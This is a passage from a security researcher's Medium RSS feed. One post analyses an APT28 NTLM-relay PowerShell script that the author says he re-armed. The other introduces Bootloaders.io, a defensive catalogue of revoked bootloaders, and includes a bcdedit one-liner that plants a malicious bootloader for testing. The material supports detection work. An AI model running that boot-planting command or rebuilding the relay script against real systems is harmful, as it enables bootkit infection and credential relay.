everywhere.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4acf566e6373" width="1" height="1" alt=""><hr><p><a href="https://medium.com/magicswordio/a-behind-the-scenes-look-at-creating-loldrivers-4acf566e6373">A Behind-the-Scenes Look at Creating LOLDrivers</a> was originally published in <a href="https://medium.com/magicswordio">magicswordio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fancy NTLM Relay]]></title>
            <link>https://haggis-m.medium.com/fancy-ntlm-relay-2292dd02cff0?source=rss-9b325df912a------2</link>
            <guid isPermaLink="false">https://medium.com/p/2292dd02cff0</guid>
            <category><![CDATA[apt-28]]></category>
            <category><![CDATA[powershell]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Michael Haag]]></dc:creator>
            <pubDate>Wed, 06 Sep 2023 15:26:03 GMT</pubDate>
            <atom:updated>2023-09-06T15:26:03.194Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s episode of #RabbitHoleWednesday, I stumbled upon this tweet —</p><h3>blackorbird on Twitter: &quot;#APT28 used &quot;Microsoft Edge&quot; as a bootloader, TOR and mockbin[.]org/website[.]hook services as a control center.Any requests sent to mockbin[.]org/website[.]hook URL will be logged instantly for testing webhooks and HTTP requests.https://t.co/jJnIAKAXLe pic.twitter.com/zqbyDA2Psd / Twitter&quot;</h3><p>APT28 used &quot;Microsoft Edge&quot; as a bootloader, TOR and mockbin[.]org/website[.]hook services as a control center.Any requests sent to mockbin[.]org/website[.]hook URL will be logged instantly for testing webhooks and HTTP requests.https://t.co/jJnIAKAXLe pic.twitter.com/zqbyDA2Psd</p><p>— about APT28’s activities. While several points were intriguing, two items particularly caught my eye:</p><ul><li>The use of a headless browser (which isn’t exactly groundbreaking, but perhaps not widely recognized?).</li><li>The mention of mockbin sites.</li></ul><p>I decided to delve deeper into the Mockbin aspect. Notably, none of the samples referenced in the tweet were available on VT.</p><p>However, my exploration on VT led me to a collection, pointing me to another intriguing APT28 PowerShell script: <a href="https://www.virustotal.com/gui/file/52951f2d92e3d547bad86e33c1b0a8622ac391c614efa3c5d167d8a825937179/detection.">https://www.virustotal.com/gui/file/52951f2d92e3d547bad86e33c1b0a8622ac391c614efa3c5d167d8a825937179/detection.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*R7pZW9twiMu_zqlOlBvC7g.png" /></figure><p>If you examine the bottom of the CERT UA blog — <a href="https://cert.gov.ua/article/5702579">https://cert.gov.ua/article/5702579</a> — , you’ll spot a screenshot of a script bearing a striking resemblance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t09ljlVEpbaLsbRyhgjDtw.png" /><figcaption>On the right…</figcaption></figure><p>This particular PowerShell script establishes a local HTTP server leveraging .NET’s HttpListener. It’s designed to set up a byte array for NTLM Type 2 authentication, initiate a hidden process to map a network drive, and continuously listen for HTTP requests. It’s equipped to manage NTLM authentication, either by challenging clients or by routing messages to mockbin[.]org.</p><p>Upon closer inspection, I realized the script had been defanged. I fixed it, and you can review my modified version here <a href="https://github.com/MHaggis/notes/blob/master/utilities/FancyNTLMRelay/readme.md.">https://github.com/MHaggis/notes/blob/master/utilities/FancyNTLMRelay/readme.md.</a></p><p>I modified it to write to <a href="https://github.com/MHaggis/notes/blob/master/utilities/FancyNTLMRelay/fancyntlmrelay.ps1">disk</a> + provided the <a href="https://gist.github.com/MHaggis/52b090dbb9c2b91d9cdd8c54f2256f74">original</a>. Both work.</p><p>I noticed a lot of this appears to resemble Inveigh — <a href="https://github.com/Kevin-Robertson/Inveigh">https://github.com/Kevin-Robertson/Inveigh</a></p><p>I suspect they incorporated enough to make a MVP (minimal viable product) to evade common signatures.</p><p><strong>Why low/no scores on VT?</strong></p><ul><li>Most likely caused by scripts being defanged and not running.</li><li>No static signatures</li><li>Not sure 🤷</li></ul><p>Additional finds on VT:</p><ul><li><a href="https://www.virustotal.com/gui/file/5c08c1c1b7e089b172e30b9ad452bab7ce64ee48201f603fc96fd9c6e24db1dc">https://www.virustotal.com/gui/file/5c08c1c1b7e089b172e30b9ad452bab7ce64ee48201f603fc96fd9c6e24db1dc</a></li></ul><p>This seems pretty limited out there. Pivoting on some of the bytes, I found a bunch of Inveigh on VT.</p><p>Happy hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2292dd02cff0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unmasking Malicious Bootloaders with Bootloaders.io]]></title>
            <link>https://medium.com/magicswordio/unmasking-malicious-bootloaders-with-bootloaders-io-d01912507286?source=rss-9b325df912a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d01912507286</guid>
            <category><![CDATA[bootloader]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Michael Haag]]></dc:creator>
            <pubDate>Thu, 03 Aug 2023 17:02:27 GMT</pubDate>
            <atom:updated>2023-08-03T18:20:53.139Z</atom:updated>
            <content:encoded><![CDATA[<p>In the intricate battleground of cybersecurity, the defense against malicious bootloaders, or bootkits, has always been a relentless game of cat and mouse. As defenders work tirelessly to understand, identify, and revoke these concealed threats, adversaries continue to exploit and advance their craft. Enter <a href="https://www.bootloaders.io/">Bootloaders.io</a>, a monumental stride exposing bootkits!</p><p>For organizations striving to safeguard their systems, this initiative is here to shine a light on a topic that is shrouded in mystique. To start, we leveraged the full gambit of Revoked Bootloaders from the UEFI <a href="https://uefi.org/revocationlistfile">revocation list</a>, <a href="https://www.bootloaders.io/">Bootloaders.io</a> offers an open-source project with an extensive and well-organized collection of known malicious Bootloaders across various operating systems. But this triumph doesn’t merely stand as a beacon for defenders; it serves as a critical reminder that the process of revoking, identifying, and responding to bootkits is fraught with challenges and demands time.</p><p>This isn’t just an update on security measures; it’s a battle cry for all who champion the cause of a secure environment. Whether you’re a defender or IT professional, join us as we delve into the heart of <a href="https://www.bootloaders.io/">Bootloaders.io</a>, where we’ll shine a light on the darkness and identify malicious bootloaders together. We’ll explore the complexities of the cyber landscape, understand how adversaries exploit these avenues, and uncover how Bootloaders.io arms you with the tools and knowledge to fight back.</p><p>Welcome to a new era of proactive defense and knowledge empowerment. Welcome to <a href="https://www.bootloaders.io/">Bootloaders.io.</a></p><h3><strong>Why Bootloaders?</strong></h3><p>Similar to drivers, bootloaders — including malicious bootloaders or bootkits — represent a shadowy area that many defenders may be unaware of. In an era where we rely on Anti-Virus (AV) or Endpoint Detection and Response (EDR) products to uncover these low-level threats, the detection is not always foolproof. Consider the recent exposure of Black Lotus, a bootkit that hit mainstream attention in <a href="https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/">March</a> 2023 but had actually been lurking since October 2022.</p><p>It wasn’t until May 2023 that UEFI revoked the compromised bootloaders, leaving computers vulnerable to this threat for eight months. Although Microsoft issued a patch and there were various methods to force an update to the DBX, implementing these solutions across 50,000 or even 200,000 endpoints is a daunting task.</p><p>Enter Bootloaders.io, a project focused on revoked bootloaders. When we first embarked on this mission, our initial step was to cross-reference <a href="https://www.virustotal.com/gui/collection/7f72958f4e7bead5301e48c0c15b57b683df929331da5c386ea86f9fe34cba76/iocs">VirusTotal</a> with all the hashes listed in the <a href="https://uefi.org/revocationlistfile">CSV</a>. Surprisingly, when the BlackLotus hashes were added, we found only 137 bootkits listed on VirusTotal.</p><blockquote>137 out of 520 revoked bootloaders are available on VT.</blockquote><p>As a defender within an organization of any size, it’s crucial to understand how to search for and recognize bootkit behavior. While tasks such as x and y must be performed, and likely require Administrator privileges, it’s essential to not overlook this area. Adversaries continue to exploit these vulnerabilities, and there is a pressing need for us to enhance our understanding of how to detect and prevent these threats effectively.</p><h3>What about the known knowns of Bootkits?</h3><p>We wanted to begin with the largest collection of bootkits available, and now that the project is public, we will start backfilling the known instances out there.</p><p>Similar to the LOLDrivers.io project, the site follows the same schema and style.</p><p>If a bootloader is available, you can download it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dq-jEyBCEy-V7B52t0wOvw.png" /></figure><p>Or, we provided a oneliner to replace your current bootloader with the… ahem — evil one.</p><p>We work to provide as much detection out of the box as possible. Bootloaders are a smidge different then drivers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfCI9o7766Ei3_adaqj0XQ.png" /></figure><p>A hash list may never work based on how a bootloader is loaded, but hey — we’ll try!</p><p>In addition, based on the UEFI revocation list, we added the CVE’s:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/184/1*f3yOdzYOQfOKI3bf8uN0Bg.png" /></figure><p>Which you can click on and view the full details.</p><p>Again, bootloaders are different from drivers regarding metadata, we attempted to extract as much as possible and presented it on the page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*iMSO4qLKS0osPCr6o5NkJw.png" /></figure><p>Below the table will include any and all imports/exports, signatures and certificates:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*s3tN5-2I6k3soy4F7zC_kg.png" /></figure><h3>The Boots</h3><p>As I have worked on understanding how to detect bootloader abuse, I produced a simple tool to goof off with the registry keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*jXxubfXlQO0KmdHHKvuXSQ.png" /></figure><p><a href="https://github.com/MHaggis/notes/blob/master/utilities/theBoots.ps1"><strong>https://github.com/MHaggis/notes/blob/master/utilities/theBoots.ps1</strong></a></p><p>In addition, the one liner on the pages will plant the bootloader properly for testing purposes.</p><pre>bcdedit /copy &quot;{current}&quot; /d &quot;LOLDrivers&quot; | {% if ($_ -match &#39;{\S+}&#39;) { bcdedit /set $matches[0] path \windows\temp\bootmgfw.efi } }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*E9xdmBiPE6ExHsG5o919OA.png" /></figure><p>Be careful out there! More to come on testing.</p><h3>StreamLit App</h3><p>Similar to LOLDrivers, we created a simple Streamlit App to help with easy contributions.</p><p>Check it out here: <a href="https://theboots.streamlit.app/">https://theboots.streamlit.app/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*C21mb3RhgpzW7RLqdFkvfw.png" /></figure><p>The workflow may be:</p><ul><li>Create a yaml on the app</li><li>fork the project, add your yaml to the yaml directory as a new file (using UUID as the filename (UUID.yaml))</li><li>Submit PR.</li><li>You are now a contributor to Bootloaders!</li></ul><p>In addition, feel free to drop a Git Issue with the yaml and we’ll merge it in with your name :)</p><h4>Booting Up a New Era of Defense with Bootloaders.io</h4><p>The Bootloaders.io project heralds a significant step forward in recognizing, understanding, and fighting against these concealed threats.</p><p>By assembling the largest known collection of revoked bootloaders and offering it publicly, Bootloaders.io not only illuminates this shadowy area but also provides tangible tools for defense. The project enables organizations of all sizes to enhance their detection and prevention strategies, regardless of the unique challenges bootloaders present.</p><p>With the ability to download and analyze bootloaders, review associated CVE details, and explore extensive metadata, Bootloaders.io stands as a robust resource for defenders. It’s not merely a repository but a collaborative platform where knowledge and action unite against a common enemy.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d01912507286" width="1" height="1" alt=""><hr><p><a href="https://medium.com/magicswordio/unmasking-malicious-bootloaders-with-bootloaders-io-d01912507286">Unmasking Malicious Bootloaders with Bootloaders.io</a> was originally published in <a href="https://medium.com/magicswordio">magicswordio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>